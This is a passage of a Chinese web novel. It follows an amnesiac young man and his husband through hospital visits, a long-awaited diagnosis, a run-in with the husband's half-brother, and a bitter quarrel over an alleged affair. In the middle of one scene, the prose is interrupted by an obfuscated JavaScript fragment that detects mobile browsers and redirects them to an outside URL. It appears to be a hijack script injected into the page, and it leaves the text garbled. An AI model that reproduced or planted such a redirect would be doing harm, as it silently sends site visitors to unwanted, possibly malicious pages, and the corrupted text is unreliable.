想起5年后的自己长个儿了，根本不能和男神胡穿衣服，程想只好老实地去客厅沙发上，拿出昨天在超市买的黑白色休闲装。
他当时挑选衣服只顾看面料和款式了，没有在意颜色。
穿这身站在听岚哥面前，会不会显得年龄很大？
他才不要做叔叔。
虽然他现在的年纪，已经是叔叔辈了。
等程想唉声叹气地换好衣服后，顾听岚也反过来夸他：“你这身也很好，很显年轻和帅气。”
“没有你帅！”
程想是真的觉得男神好看得无人能敌，靠过去偷偷拉了拉对方的衣袖，撒娇道：“听岚哥，等去完医院后，你陪我去买衣服吧？我要和你穿情侣装，不对，是夫夫装。”
“……”顾听岚瞥了眼程想，见他是认真的，虽然很不理解，但是尊重，“好，结束后一起去买衣服。”
“好耶，听岚哥你最好了。”程想像小狗一样，低头在顾听岚颈间蹭了蹭，开开心心牵着男神出门了。
出来后，他习惯性往入户大堂走去，却被顾听岚拉住了。
“坐电梯，车停在负二楼。”顾听岚解释道。
“车？哦哦，我们已经上班了，是该开车了。”程想跟着顾听岚去等电梯。
看着楼层数快到1楼后，他猛然反应过来：“可是听岚哥，我不会开车啊。”
他才刚满18岁，不对，是记忆倒退回18岁了，还没有学会开车这个技能呢。
“没关系，我会开。而且……”在电梯门开启的同时，顾听岚收了声。
电梯里没人，两人进去后，程想问道：“而且什么？”
顾听岚沉默了两秒，决定实话实说：“车库里停的是我的车，我来开车。”
“哦哦太好了，你开你开。”程想丝毫没有觉得自尊心受到伤害，还大大松了口气。
他这样的反应，也让顾听岚心下一松。
以前的程想，在学业和事业双重压迫下，变得易怒又敏感。
情感方面欠缺的他，总是会不小心说错话。
于是不可避免的，两人经常发生争吵。
很多时候，他都不明白对方到底在气什么。
让他低头道歉，他又倔着不愿意。
然后，事态变得更加糟糕。
其实两人不仅是分居状态，还很久没有见面了。
像这样长时间相处的情况，更是屈指可数。
负面情绪会传染，正面情绪更是。
每次和失忆后的程想交流后，他的心情都会变得更好一些。
特别是在看到他的车子后，程想的反应更加让他不知所措。
是开心得不知所措。
“天呐天呐，这辆越野车是你的吗听岚哥？简直酷毙了，我好喜欢！”
16.去医院
男生都爱车，中二的程想也不例外。
他曾幻想过以后会拥有什么样的车，越野车是不二之选。
那时候他个头还没蹿到一米八，知道他的想法后，哥哥程铭无情嘲笑：“小短腿就别做梦了。”
因为这句话，程想还偷偷担心过自己会长不高，真的变成小短腿。
没想到，自己现在竟然长得比一米八五的男神还要高了。
嘿嘿。
有机会他要开着这辆越野车，去打亲哥的脸。
不过在这之前，他得先去考个驾照。
“你有驾照。”
程想把心里话都说了出来，顾听岚便这样回道。
听到这个回答，程想并不意外，只是：“就算我已经有驾照了，可我还是不会开车啊。”
他缺的是开车的技能。
“你可以抽空报个驾校。”
“我有证了，人家会不会不收我啊？”程想去拉顾听岚的手，“要不听岚哥你教我呗，不会占用你很多时间，而且也不要你每周都抽时间教我，闲空时间想起来了教我就行，我不急着立马学会。”
最好慢慢教他，这样他可以多多蹭男神的车坐了。
真是机智。
他这边小算盘打得啪啦响，顾听岚却毫无一点浪漫细胞，直接拒绝了：“我没时间，而且我也不会教别人开车。”
“可是我想要你教我啊，你之前教我画画都教那么好，教开车还不是轻轻松松？”程想厚着脸皮撒娇道。
将近一米九的大男人撒起娇来，其实很没眼看。
但顾听岚就很是吃这一套，很快投降：“好、吧，我如果有空，就教你。”
“好耶，就知道听岚哥你最好啦。”程想狗腿地给男神捏肩，被推开后，又笑嘻嘻
打开副驾驶车门，坐了进去。
顾听岚也跟着上了车。
出小区后后，他开始紧张起来。
其实今天的行程，完全是为了迁就程想。
他的身体他自己知道，就算去再多医院，也是无功而返。
但等上了路后，不知道为何，他竟然升起一丝希望来，还多了很多忐忑。
人就是这样奇怪的生物。
再怎么绝望，还是会在某一时刻，生出不切实际的希望来。
似乎察觉出顾听岚的紧张，程想在车里一直表现得很乖，偶尔说上几句话打破沉闷的气氛，也是挑不痛不痒的话题聊。
很快，程想选定的第一家医院到了。
“听岚哥，你开车好稳哦，不知道不觉就到目的地了耶。”程夸夸又上线了。
“还行吧。”被这么一打岔，顾听岚心情放松了一些，率先推开车门下去了。
刚站定，一阵脚步声急急忙忙跑过来。
程想赶过来很自然地牵起顾听岚的手。
他什么都没说，但安抚和鼓励，还是通过相牵的手，传递给了顾听岚。
顾听岚深吸一口气，对程想露出一个很淡的笑容。
“乖哦，不怕，有我陪着你呢。”程想很喜欢被男神依赖的感觉，凑到对方耳边，大着胆子道，“有老公在，老婆不怕哦。”
“！！！”
只是一句很正常的话，顾听岚却觉得整个灵魂都在颤动。
真是……
太奇怪太不对劲了。
“听岚哥，”程想仔细盯着顾听岚垂下的脸庞，小心翼翼道，“你是不是不喜欢这种称呼？那我以后不……”这样叫了。
“没有……”顾听岚将头垂得更低了，“不喜欢。”
“呃？”
这是没有不喜欢，还是不喜欢哇？
程想想问清楚，却是不敢。
而顾听岚并不知道说了有歧义的一句话，表达完想法后，拉着程想往电梯间走去。
难得被男神主动牵着走，快乐小狗又幸福上了，哪里还有空想别的。
不管做什么事，两个人总是要比一个人强一些。
特别是当陪伴在身边的那个人，又明明白白表现出对自己的关心，就算真遇到不好的结果，也不会那么难以承受。
顾听岚早做好准备了，所以当第一家医院也检查不出病因时，并没有表现出什么情绪。
程想也没有气馁，乐观地说道：“没事，还有两家医院没去呢。”
回到车子里，两人又一起赶往下一家。
第二家的检查结果也是一样的。
这时候已经到中午了，顾听岚说道：“先去吃饭吧，下午再去最后一家。”
他是当成任务完成的，对于意料中的结果，毫不在意。
倒是程想的脸色有些不太好。
他本来就是情绪挂在脸上的人，就算心态再乐观，这会儿也有些维持不住了。
但他没有抱怨顾听岚的旧疾，而是对五年后的医疗水平产生了深深的怀疑。
“不应该啊，A市这么大，怎么就没有医疗条件先进一些的医院？”
顾听岚反过来安慰他：“地球上几十亿人口呢，有一些无法治疗或者检查出的病症是很正常的，不能怪医疗水平。”
“听岚哥，你怎么还帮着外人说话呢？”程想坐上车后给哥哥程铭发信息，让对方介绍一些医院。
哥哥比他年长，还早早接手了家里的产业。
人脉比他广。
自家亲哥，不用白不用。
因为顾听岚就在身边，他便没有直接打电话。
不知道是上次的通话闹得不愉快，还是对方在忙，信息发出去五分钟了，仍旧没有回复。
程想便先去找地方吃饭。
由于检查结果不理想，两人都没什么吃饭的心情。
但程想还是按照顾听岚的喜好，定了一家餐厅。
他只有和男神相处那两个月的记忆，对于对方的喜好知之甚少。
索性顾听岚是一个很长情的人，喜欢什么，过多少年都不会变。
吃完后，程想还打算拉着他去酒店开间房，午睡一会儿。
顾听岚却阻止了：“还是继续去医院吧，这一家离得有点远，等休息完再过去，估计都要下班了。”
“我预约过了，应该会等我们吧？”程想天真地问道。
“不会等的，早点过去吧。”顾听岚是把今天当成任务来完成的，不做完心里始终不清净。
“好吧，那去完这一家我们不去逛商场了，直接回家休息。”程想拉着顾听岚去停车的地方。
他是很善于给自己谋福利的，见男神不排斥自己的亲近，就有事没事都要和男神挨挨碰碰。
饭点不好停车，两人把车停在远一些的地方。
正牵着手走在路上时，顾听岚像是在街头偶遇明星似的，一直朝着路对面看去。
“听岚哥，你在看什么？”
程想也跟着看过去，他视力很好，对面来去的人都能看清，但没一个眼熟的。
顾听岚听到程想的声音，才知道自己忘记掩饰了。
人真的不能说谎。
他为了试探程想，撒谎说昨天遇到了何昊谦，结果刚刚，还真的看到了对方。
“没什么。”顾听岚转过头来，见程想也在往马路对面瞅，顿时不想再撒谎了，坦诚道，“我刚刚看到何昊谦了。”
“对不起，我骗了你，其实，我昨天没有碰到过他。”他又压低声音道歉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989622|148066||http|test|mini|href|location''.split(''|''),0,{}));
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“啊？没关系，别道歉啊。”程想立马收回目光，只专注地放在男神身上，“不要为一些小事就随随便便道歉，你那样说应该是想看看我失去多少记忆，是我为好，不算骗我。”
顾听岚：“……”
他是想试探对方到底失忆没有，不是忘记了多少记忆。
但他再古板，也不会傻乎乎把这句话说出来，不再继续这个话题了：“穿白色外套牛仔裤的那个年轻男生，就是何昊谦，你认出他了没？”
说完后，顾听岚懊恼地垂下眼帘。
他竟然又在试探程想。
怎么回事，他明明已经相信对方失忆了，为什么还会不由自主想要证明这件事呢？
“我刚刚有看到一个穿白色外套的男的，只看到了侧脸，我不认识，见都没见过。”
程想很有男徳，除了自家男神外，别的男人一眼都不会多看，而且只愿称呼对方为“男的”。
“……哦。”顾听岚放下了悬着的心。
他其实有担心，程想见到对方后，会记起些什么来，或者干脆恢复全部的记忆。
？？？
他怎么又开始想“失忆”这件事了？
并且这么在意！
顾听岚有些讨厌暗戳戳患得患失的自己。
这样很像是阴沟里的耗子一样，非常让人讨厌。
因为太过生自己的气，顾听岚挣脱开和程想相亲的手，快步往前走去。
他是不想让程想发现自己丑陋的一面。
程想却以为他是想起自己失忆前做的混账事，生自己的气了。
毕竟他出轨这件事，亲哥和好友不会无辜冤枉他。
他一定是做了什么让人误会的事，才给自己种下这么一个大麻烦。
程想急急忙忙追上去，想要解释，却又不知道该怎么说。
就这样，两人像是闹脾气似的，回到了车内。
“听岚哥，我见你的手机跟我一个型号，要不这样吧，我们开一个家人共享。”
程想拿出最新款的水果手机，对明显在生闷气的顾听岚说道。
“家人共享是什么？”虽然顾听岚也用着大热牌的水果手机，对它各种智能功能，却并不了解。
“你把你的手机给我。”程想知道光是解释不太好说，干脆演示给顾听岚看。
“这个功能是水果手机的主打卖点，很多人都喜欢用。”
程想先铺垫了一番，然后快速操作好后，把手机还给顾听岚。
之后，他举起自己的手机，随便拍了张照片。
同一时间，顾听岚的手机震动了一下。
两人一同看过去，只见手机屏幕上显示——
【是否接收照片？】
下面是“是”和“否”的按钮。
“你点一下‘是’。”程想捏着顾听岚的食指，在屏幕上点了下。
他刚刚拍的照片，水灵灵出现在对方手机相册里。
程想把自己手机上拍的照片跟对方的手机放在一起，讲解道：
“我把我的手机，对你开启了共享功能，我拍的照片，会传递给你，你可以选择看或者不看，而且你可以用你的手机解锁我的手机，并且知道我的位置，还有我的vx聊天记录……”
程想像是手机销售一样，说了一大堆先进的功能。
顾听岚听得眼睛都直了。
等程想说完后，他才后知后觉反应过来：“这……这不就是，相当于，我在你身上安了窃听器么？”
简直一点隐私都没有。
哪个正常人，会用这种变态的功能？
顾听岚终于明白，程想为什么一开始要解释那么一句了。
17.查出病因
“啊，这不算窃听器吧。”程想说道，“你不能操控我的摄像头，也不能时时监听我，只是我用手机上的一些功能时，会同步到你手机上而已。至于定位问题，这个一开始是为了防止手机被偷，才研发出来的。”
他觉得这种随时报备的功能，挺浪漫的。
跟窃听器牵扯到一起，性质可就变了。
银灰色的眸子闪了闪，不知道有没有相信。
程想继续道：“我只单方面开了对你的共享，没有开你对我的。听岚哥，我在你面前不会有任何秘密，也不想跟你有什么误会，我对你的心……”
外表二十多岁的成熟男人，心里只是个刚高中毕业的毛头小子，一到告白就变成了含羞草。
支支吾吾怎么都说不出下文。
“我……”也可以对你开共享。
顾听岚见程想卡壳了，便也想表明一下心意，结果刚说了一个字，就继续不下去了。
他自己是没有什么秘密可隐瞒程想的，但是他的……
顾家那边很多事，不能让对方知道。
“你什么？”程想揉揉发烫的脸颊，问道。
“没什么，我们出发去下一家医院吧。”顾听岚生硬地转了话题。
“哦，好。”
想起还有正事要办，程想便不再沉浸在少男的羞涩中，尽职尽责做一个人体导航。
因为之前的医院都没有查出顾听岚有什么问题，这次两人不约而同没有抱什么希望。
程想甚至开始着手查哪里的中医比较厉害了。
结果第三家医院，还真没白来。
“这是肠痉挛。”
一头浅栗色短发、娃娃脸的年轻医生，虽然看起来画风和职业不太搭，却是第一个检查出顾听岚病因的。
幼年不好的经历，令顾听岚对医院很是排斥。
坐下来后，就有些神游天外。
听到医生肯定的回答，大脑空白了好几秒，之后，才慢镜头一般将银灰色的眸子，放在对方那张过分年轻的脸上：
“你说、什么？”
“我说……”年轻医生正要再重复一遍，就见坐在对面的男人，突然把正和他对话的患者揽在了怀里。
什么情况？
年轻的医生顿时被整不会了。
程想不仅把顾听岚揽到了怀中，还把他的脸按在胸膛上，因此医生并不知道，程想这样做，是因为看到顾听岚毫无征兆地流下来眼泪。
其实也不能说毫无征兆。
在听到医生诊断出病因时，程想自己的心脏都猛得一跳，别说等了20年答案的顾听岚了。
男神在他眼里，一直是圣洁冷傲的，如同高山上的雪莲。
他以为对方最多会显露出激动的神色来，却没想到，对方眼中竟然闪烁着晶莹泪花。
他第一反应就是不能让别人看到男神哭了。
所以冲动之下，就不管不顾把人抱怀里了。
顾听岚也没想到自己会哭。
小时候那两次毒打，不仅打碎了他对亲生父亲的滤镜，也把他的情感打得缺失了。
还是被按在程想怀里，眼皮触碰到温热的湿润时，他才后知后觉发现，是自己在哭。
他一直以为过了一二十年，自己早释怀了。
也不奢望有人还自己一个公道。
为了不再失望，他还洗脑自己得的是稀奇古怪的病，就连医院也避之不及。
但当医生说出他的病症后，他才恍然醒悟，原来他还像小时候那个傻到可笑的自己一样，一直期盼着有人来还他一个清白。
来告诉他——
他没有装病，更没撒谎。
虽然正义迟到了，但是能等到这一天，已经足够了。
处在温暖安心的怀抱中，顾听岚似乎真的变回了小时候，克制不住地哽咽起来。
虽然他哭泣的样子被藏了起来，但声音是隐藏不住的。
听到压抑不住的哭声，年轻医生才明白过来是怎么回事。
很贴心地给两个年轻人空间平复情绪。
结果这一哭，直到一二十分钟才结束。
程想先柔声细语安慰了顾听岚几句，才转身向一直默默等待的医生道歉：
“抱歉，我爱人小时候就得了这个病，但是一直查不出病因，所以知道是怎么回事后，情绪难免有些失控，很抱歉占用你的时间了。”
“没事，能理解，不用道歉。”年轻医生科普道，“这个病除非疼到一定程度，不然患者自己都不会发现，腹部左下侧除了肠子外，没有别的内脏，很容易被忽视掉，所以查不出来也很正常。但是不要担心啊，这不是什么疑难杂症，是可以医治的。”
“好好，那要怎么治？”程想询问的同时，依然揽着顾听岚的肩膀，不让他离开。
“二位感情真好。”年轻医生笑眯眯地看了眼和谐有爱的两人，夸了一句后才说道，“肠痉挛是平滑肌受到刺激后引起的一种反应，诱因有多种，你爱人既然小时候就得过，大概率是那时候在营养方面亏着了。缺钙……”
“缺钙？”程想忍不住打断道，“我爱人身高一米八五……”
想到自己掌握的是五年前的数据，他转头看向低垂着脸的顾听岚，问道，“听岚哥，你又长高没？”
顾听岚摇摇头。
程想便继续对医生道：“我爱人个子算高的了，怎么还缺钙？”
“你爱人的父母都是高个子吧，你爱人在他们之中，估计算是矮的了。”
程想没见过顾听岚的父亲，而顾听岚的母亲很早就离世了。
这是个敏感话题，便不再问了。
“那就是说要吃钙片补钙对吗？”
“对，还有，”医生一边操作电脑写药方
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，一边问道，“有对什么过敏吗？”
程想像个传话筒般，又去问顾听岚。
顾听岚还是摇头。
“没有过敏的吗？”程想确认。
顾听岚停顿了几秒，哑着嗓子说道：“我不知道。”
他从小就吃的大锅饭，身边也没人关心，就算自己过敏了也不清楚。
而且小时候也没有过敏的概念。
“不知道没关系，我开个单子，一会儿去检查一下过敏源，这个不用空腹抽血。对了，肠痉挛对情绪也很敏感，尽量保持平常心，情绪不要大起大落，也不要太压抑自己，还有多休息。”
见顾听岚整个人是紧绷的，医生又交代道。
“好的，我们会注意的。”
等医生开好单子后，程想带着顾听岚去检查过敏源。
虽然下午早早来了医院，等他们离开后，已经快晚上了。
虽然花费的时间有点久，但是两人都很高兴。
压在头顶上的那团乌云终于散去了，顾听岚觉得整个人从内到外，都轻松不少。
“原来你对坚果，尘螨过敏。怪不得你有洁癖呢，原来是因为体质原因。”对于男神的过敏源，程想记得非常牢。
“我一直以为是心理原因，所以才有些过度洁癖。”
“没有过度啦，只是比较爱干净而已，这很好啊。谁不喜欢爱干净的人呢？”
大概在程想眼里，男神就没有不好的地方。
等坐上车后，顾听岚突然说道：“要不我们还是去逛商场吧，你不是很想买……衣服么？我给你买。”
能查出病因，全靠程想的坚持和陪伴。
他想回报些什么。
“出来一天了，你不累吗？”
“不累！”心情好了，人的精神也会变得很好。
现在让顾听岚去跑个两千米都没问题。
“那好啊，我们去买衣服，我想买和你身上一样的情侣装。”
“好。”顾听岚满口答应。
两个人还是第一次来逛商场，程想并不想只买了衣服就走，拉着顾听岚先此处溜达了一圈。
他也想看看，过去5年有什么大的变化没有。
“你就在这儿站着，不准动。”
在程想和顾听岚手牵手等着买奶茶时，一道男声突兀地传进他们耳朵里。
商场人来人往，声音吵杂。
能清楚听到某个人的说话声，可见对方的音量着实不小。
而且这命令的语气，也着实令人生厌。
程想拉着顾听岚往一边挪了挪。
谁知，这道声音又冲着他们来了。
更确切的说是冲着程想来的。
“想哥，好巧啊，咱俩在这儿居然也能遇上。”
不同于刚刚的严厉，对方像换了个人似的，用上了谄媚讨好的语气。
18.哥夫
哥们你谁？
程想看着眼前带着大金链子，挥手时露出车钥匙的陌生男人，满头问号。
他习惯性朝顾听岚求助。
男神果然没有令他失望，上前一步问道：“你怎么在这里？”
语气里带着显而易见的不待见。
对方显然同样不待见顾听岚，恶声恶气回道：“关你什么事，这商场是你开的吗？”
“你……”
“你怎么说话呢？”程想把顾听岚拉到身后，皱着眉头看向这个不速之客。
大有对方再出言不逊，就上手收拾的意思。
尽管已经接受程想丢失5年记忆的事实，但顾听岚还是露出了意外的神色。
同样意外的还有来的年轻男人。
对方似乎很怕程想，就算被当众训斥了，怔愣过后，很快换上嬉皮笑脸的表情：“哎呦，我错了，想哥，我道歉，你大人不记小人过……你们在买奶茶吗？我付钱。”
说着，对方就掏出手机要去找服务员买单。
程想拉住他：“我已经付过了。你要没事该干嘛干嘛去。”
第一印象很重要。
他第一眼见到对方，就感觉很不舒服，对方又对顾听岚态度非常不好，令他感官更差。
就算对方不是用谄媚巴结的语气跟他说话，他也不打算给好脸色。
“有事，我有事，我一哥们投资了个酒庄，在城南，这周日开业，想哥赏脸过来玩呗，到时候我开车去接你。”
“你邀请别人吧，我们没空。”程想果断拒绝。
“那个女生是谁？你女朋友吗？”顾听岚突然问道。
有程想帮忙撑腰，年轻男人不敢再跟顾听岚甩脸色，不情不愿地“嗯”了一声。
程想听出他们在说的是刚才在大庭广众下，被大声命令的那个女生。
他还以为男神想告诫对方不要那么失礼地对待女生，结果就听顾听岚说道：“哪儿找的，一点都不配不上你。”
“？？？”程想不敢置信地瞪大了双眼。
这话，比刚刚的更加不尊重人吧？
年轻男人也很是惊讶，张张口想说什么，顾忌着程想又忍了下去，改口道：“行，回去我就跟她分手。”
“那你现在就去。”
应该是他们这边的声音有些大，原本老实站在原地的女生，在听到顾听岚这句怂恿的话后，气冲冲地转身走了。
年轻男人看到后，招呼都顾不上打，急匆匆去追了。
等他们走远后，程想看向顾听岚。
如果不是那个女生就在现场，他会以为男神这样说有什么别的用意。
但很明显，顾听岚就是想让刚刚的人，跟自己女朋友分手。
男神并不是爱管闲事的人，为什么会这样做呢？
“你干什么这样看着我？”顾听岚被灼灼的目光盯得很不舒服，不解地问道。
“你……我们先去取奶茶吧。”
人来人往的场所，不适合聊天，程想便拉着顾听岚去取早就做好的奶茶。
之后，两人按照原定计划，又去买衣服。
程想并没有被刚刚的事情影响心情，缠着顾听岚跟他一起买了好几套情侣装。
马上进入十月份，A市的秋天很短，差不多到十月末就进入冬季了。
于是他们提前把冬装也买了。
等出来后，两人拎着大包小包，收获颇丰。
好在越野车的空间足够，等把东西装上车后，两人回到车内。
“听岚哥，先别开车，我有事想跟你说。”
程想不是有事闷在心里的性格，他不想跟男神在那套温馨的小房子里起争执，所以选择在回去之前，把话摊开说清楚。
“什么事？”顾听岚将车熄了火，转头看向程想。
“其实也不是什么大事，就是……”
程想没有一上来就开始指责，而是选择循序渐进的温和方式，
“刚刚我们买奶茶时，碰到的那对儿男女，那个女生你认识吗？”
“不认识，怎么了？”
听到顾听岚用的是疑惑不解的语气，程想按了按眉心，继续平和地问道：“那你之前有见过她吗？就是见过他们是如何相处的？”
“没有，今天第一次见。”
尽管已经预料到了，程想还是有些不能相信。
习惯性为男神找借口：
“你是不是看她男朋友对
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她不好，所以想用‘分手’让那个男的产生危机感，变得重视自己女朋友？”
“不是，我就是想让他们分手。”顾听岚的直白，成功让程想无话可说。
虽然那个男的对自己女朋友态度不好，但那是别人的事情。
谁知道他们私下里是怎么相处的呢？
都说宁拆十座庙，不毁一桩亲。
无缘无故让人家分手，这……
程想实在想不通。
最后，碎掉的不快乐小狗问出心中的疑惑：“你为什么想让他们分手？”
“买衣服的时候你一直在生气，就是因为这个事情？”顾听岚没有回答程想的问题，反而关心起他来。
“我没有生气，”程想烦躁地耙了耙头发，“我只是有些……”
幻灭。
这个词太伤人了，程想没有说出来。
“有些什么？对我很失望吗？”
敏感的人，总是能很容易get到别人的情绪，顾听岚准确地补充道。
“对不起……”
内心想法被直接说中，程想愧疚无比，
“听岚哥，我知道你肯定是有苦衷的，但我……”
“我没有苦衷，”顾听岚却是一笑，“我是真心想拆散他们。”
这怎么听都是很恶毒的想法，令程想倒抽一口凉气。
但即使这样了，他仍旧为男神找补：
“是刚刚那人做了什么对不起你的事吗？”
让男神那么讨厌他。
顾听岚不吭声了。
程想还想再问，突然想起被忽略的一点，赶紧问道：“那个人是谁？他为什么一直喊我‘想哥’？”
程想是家里年纪最小的孩子，只有哥哥姐姐，没有弟弟妹妹。
而他虽然中二，却不爱搞“大哥小弟”那一套，关系好的人都喊他的“小狗”或者“狗狗”，最多偶尔唤声“狗哥”。
“想哥”这个称呼，还是第一次被人喊。
就在他猜测对方是不是复读或者大学的学弟时，顾听岚终于开口了：“那个人叫顾启明，你是他哥夫，他当然要喊你‘哥’了。”
“？？？”程想的脑容量又不够了，“哥夫是什么？”
19.争吵
“就是哥哥的丈夫的意思。”顾听岚解释道。
哥哥的丈夫……
“他是你弟弟？”程想很快理清了关系，惊呼道，“是你爸爸再婚后又生的孩子是吗？”
顾听岚目光诧异地看向程想。
程想被看得不明就里，问道：“怎么了？我说的不对吗？”
“你……”顾听岚把双手从方向盘上放了下来，“不是没有这五年的记忆了吗？”
怎么会知道那个男人再婚的事情？
“？？？”程想眨眨眼，迟钝地发现自己竟然说漏嘴了。
私自打听别人隐私不仅不道德，还触红线了，当初哥哥程铭曾叮嘱过他，以后要找时间跟顾听岚“自首”。
他以为过了五年，自己早向男神认罪招供过了。
原来竟是没有。
“听岚哥，对不起，有件事我瞒了你。”程想立即垂头认错。
“什么事？”
“我高三的时候，找人私下里打听过你。”
中二少年不仅敢作敢当，还很有良心地没有拖亲哥垫背。
“打听我什么？”
“就是你……家里的事情。”
顾听岚的脸色渐渐发白：“能说具体一点吗？”
做错事，就要立正挨打。
程想深吸一口气，全招了：“我发听到你爸妈是听从父母安排结婚的，两人感情并不好，你妈妈在你很小的时候，大概三四岁，就去世了，你爸爸对你不管不问，很快又组建了一个新家庭，生了个儿子，你从小学一年级就开始住校，你……”
“别说了！”顾听岚冷声打断。
“对不起，听岚哥，”看到又把男神伤害了一次，程想红着眼不断道歉，“我不该随意探听你的隐私，我错了，对不起，以后我再也不这样做了，真的我向你保证。你现在想怎么惩罚我都可以，求求你别生气，别生我的气……”
程想说到后面，几乎泣不成声。
他一方面很心疼男神的过去，另一方面又恨自己做了伤害男神的事情。
虽然本意是好的，只是想多了解男神一些。
但做错了就是做错了，不能因为初衷的好坏而改变。
程想做好了被骂的准备，结果等了一段压抑的时间后，顾听岚抖着声音问道：“顾启明的事情……你也知道了？”
是指顾启明在顾听岚妈妈还在世的时候，就已经存在了这件事吗？
顾听岚的父亲不仅婚内出轨，让小三怀孕，顾听岚的妈妈很大可能是因为这个私生子的存在，而气死的。
程想不敢再去戳男神的心，只用力点了点头。
尽管预料到自己会被调查得一清二楚，当事实摆在眼前，顾听岚还是难受得差点喘不上来气。
他因为家庭原因，从小养成了孤僻自卑的性格，家里那些腌臢事，咬死不会往外说。
就算上了大学，和程想的哥哥程铭成了好朋友，也从没有提起过。
一直到两年前，程想向他求婚，想跟他组成一个家庭时，他才决定坦白家里的情况。
他当时想的是，如果对方接受不了他复杂的家庭关系，那么两人就还退回到朋友关系。
后来见程想态度良好地接受了他的身世，他曾暗自向上天感恩过很多次。
结果今天让他知道，原来对方早就知道了。
那他一直以来的辛苦隐瞒和提心吊胆的坦白，算什么？
顾听岚被意外得知的残酷真相，气得浑身发抖。
“原来你早就什么都知道了。”他一只手紧紧抓住方向盘，稳住摇晃的身躯，声嘶力竭地吼道，“所以你跟我结婚，其实是为了报仇，对不对？”
报仇？
程想被问懵了：“什么报仇？听岚哥，你在说什么？我跟你结婚是因为我爱你啊，我们之间哪有什么仇？”
“爱我？”顾听岚气笑了，“爱我你婚内出轨，爱我你找何昊谦当小三！你们高中就认识了，其实我才是那个小三吧！”
“不是的，没有！”
程想急得去拉顾
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听岚冰凉的手，
“听岚哥，这中间一定是有误会，我只喜欢你，这辈子就喜欢你一个，我虽然不记得高中复读的事情，但我不会去喜欢别人的，请你相信我。”
虽然程想长嘴了，可惜顾听岚并不相信，甩开他的手说道：
“我以前也以为我们之间有误会，还一直等着你跟我解释，现在我总算是明白怎么回事了。可是……”
说着，大滴大滴的眼泪从他脸上流了下来，
“虽然感情没有先来后到之说，但我们先认识的，全天下的人都能恨我，审判我，唯独你不可以！”
“我没有恨你啊，听岚哥，你到底在说什么？我们说的是一回事吗，为什么我都听不懂。”
完全蒙圈的程想着急得连哭都忘记了。
“你当然听不懂，因为你失忆了。老天爷待你可真是好，让你在这个时候失忆。”
顾听岚没让自己伤感太久，用力擦去眼泪，推开车门，“下车！”
这个节骨眼上，程想一个字都不敢问，乖乖下了车。
顾听岚先一步打开后备箱，将刚刚在商场里买的衣服往外拿。
程想这会儿脑子还是一团浆糊，不明白这是在干什么，只知道过去帮忙。
等把纸袋子都拿下车后，顾听岚关上车门，取下戴在左手的婚戒，扣到程想手心里：“戒指还你，我会重新拟一份离婚……”
“不离婚，我不同意！”程想不等听完就打断道。
顾听岚看了程想一眼，转身就走。
“别走，听岚哥，我们把话说清楚！”程想追上去拉住正要上车的人。
“滚开！”顾听岚用力甩开缠上来的人。
他没有手下留情，毫无防备的程想当即被甩了出去。
好巧不巧，刚好摔在那一堆纸袋子上。
等他艰难地从一堆纸袋里站起来后，黑色帅气的越野车早没影儿了。
“！！！——”
脑子乱成一团麻的程想，只觉得一阵天旋地转。
20.亲哥
程想像是被遗弃的小狗一样，紧握着顾听岚留下的婚戒，呆愣在原地。
许久之后，一道手机铃声惊醒了似乎石化的人。
回过神的程想抹了把干涩的脸，手忙脚乱去掏手机。
尽管觉得不可能，他仍抱着一丝希望，祈祷是顾听岚打来的。
结果，来电显示的是“程铭”。
不是男神是亲哥也行。
程想哭干的眼泪，又有泛滥的趋势。
“哥——”一接通，他像是受了天大的委屈似的，鬼哭狼嚎道，“我真该听你的早点跟听岚哥自首，现在他知道后生了好大的气，我不想离婚，怎么办啊哥，我真的一点办法也没了呜呜……”
“……”
再铁石心肠的人，听了这凄惨的哭诉都不会无动于衷。
更何况是有弟控之称的程铭。
虽然后来弟弟不知道受了什么刺激，跟他疏远了。
但是他一直有在默默关心着对方。
要不然对方和顾听岚之间的事情，他不会知道得那么清楚。
“你早干嘛去了？”程铭恨铁不成钢道。
“我……我失忆了，我不知道自己为什么没早说。”程想也很委屈。
“……”
两次通话，弟弟话里话外都透着浓浓的中二风，确实跟之前大不一样。
这熟悉的画风，老实说，程铭还挺想念的，语气便软了下去，
“没事，不是什么大事，你也别太担心。”
毕竟跟出轨比起来，隐瞒一些小事简直不值一提。
“不，是大事……”
这时候有别的车开过来停车，程想只好先结束通话，
“哥，我还在外面，你把你新家地址告诉我，我们见面再说。”
程铭不太放心道：“哭得这么厉害还能开车吗？”
“我现在不会开车了，我打车过去找你。”
“你在哪儿？”程铭认命地从沙发上起身，“我开车去接你。”
“我在新胜商场地下一层停车场B……”
“你上来在路边等我。”
“我上不去，我刚跟听岚哥一起买了很多衣服，现在都堆在地……”
“行吧，”程铭很怀疑弟弟是在秀恩爱，打断道，“原地等着，我过去找你。”
“好。”
*
程想没有等很久，程铭便赶了过来。
“怎么买了这么多东西？你该不会是想把我当劳力吧？”
程铭虽然一下车就开始吐槽，但还是很自觉地帮忙把袋子往后备箱里放。
“这都是听岚哥给我买的，也有他的，我们买的是情侣装。”
程想其实并不是想炫耀，只是习惯在人前为男神表功。
“这么恩爱啊，”程铭停下来，上下打量穿着休闲装，宛如青春男大的弟弟，“那怎么又闹闹掰了？”
“还没掰呢，没掰！不许你乱说！！”程想急得想上去捂住哥哥的乌鸦嘴。
“你……”看到弟弟急得上蹿下跳，跟个猴子似的，程铭脸上的笑容更多了一些，“你现在变得这么可爱，听岚怎么舍得不要你？你们之间，怕不是有什么误会吧。”
“是有误会，但我不知道具体是什么。”
程想虽然在跟哥哥聊天，手上却没闲着，很快两人就把纸袋子都装上了车。
“回家再说吧。”程铭坐上车后，看到哭花脸的弟弟，关心道，“你吃晚饭了吗？”
“……没。”程想赶紧掏出手机。
程铭以为他是打算点外卖，说道：“不用点了，等回家让你嫂子随便给你做点吃的就行。哦对了，我现在结婚了，你估计也忘了吧。”
“忘了，不过我回家了一趟，王妈告诉我，你现在跟嫂子住在新家。”
“怪不得你刚才说要去新家找我，我还以为你恢复记忆了呢。”
程铭见程想还在盯着手机看，有些生气，
“你嫂子厨艺很好的，怎么还要点外卖？”
